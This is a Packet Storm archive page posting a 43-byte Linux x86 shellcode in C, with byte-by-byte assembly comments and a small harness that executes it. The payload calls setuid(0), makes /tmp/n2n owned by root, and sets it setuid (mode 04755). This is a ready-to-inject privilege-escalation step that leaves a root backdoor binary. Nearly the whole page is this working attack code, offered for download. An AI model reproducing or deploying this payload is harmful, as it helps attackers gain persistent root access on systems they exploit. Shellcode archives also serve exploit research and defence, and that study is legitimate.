exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

linux_chown_chmod_shellcode.c

linux_chown_chmod_shellcode.c
Posted Dec 29, 2003
Authored by n2n

43-byte linux x86 shellcode which does the following: setuid(0);chown("/tmp/n2n",0,0);chmod("/tmp/n2n", 04755);exit();

tags | x86, shellcode
systems | linux
SHA-256 | c9cfe186139032a40d3f9ddb38c191be71b284f24d4febdc1da027d250896d17

linux_chown_chmod_shellcode.c

Change Mirror Download
/*
43-byte linux x86 shellcode which does the following:
setuid(0);chown("/tmp/n2n",0,0);chmod("/tmp/n2n", 04755);exit();
by n2n, n2n@linuxmail.org,
Eye On Security Research Group - India, http://www.eos-india.net/
*/
#include <stdio.h>
char
shellcode[]=
/* setuid(0) */
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\xb0\x17" // mov $0x17,%al
"\xcd\x80" // int $0x80

/* chown("/tmp/n2n",0,0) */
"\x31\xd2" // xor %edx,%edx
"\x31\xc9" // xor %ecx,%ecx
"\x52" // push %edx
"\x68\x2f\x6e\x32\x6e" // push $0x6e326e2f
"\x68\x2f\x74\x6d\x70" // push $0x706d742f
"\x89\xe3" // mov %esp,%ebx
"\xb0\x10" // mov $0x10,%al
"\xcd\x80" // int $0x80

/* chmod("/tmp/n2n", 04755) */
"\x66\xb9\xed\x09" // mov $0x9ed,%cx
"\xb0\x0f" // mov $0xf,%al
"\xcd\x80" // int $0x80

/* exit() */
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80" // int $0x80
;
int
main()
{
void (*funct) ();
(long) funct = &shellcode;
funct();
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close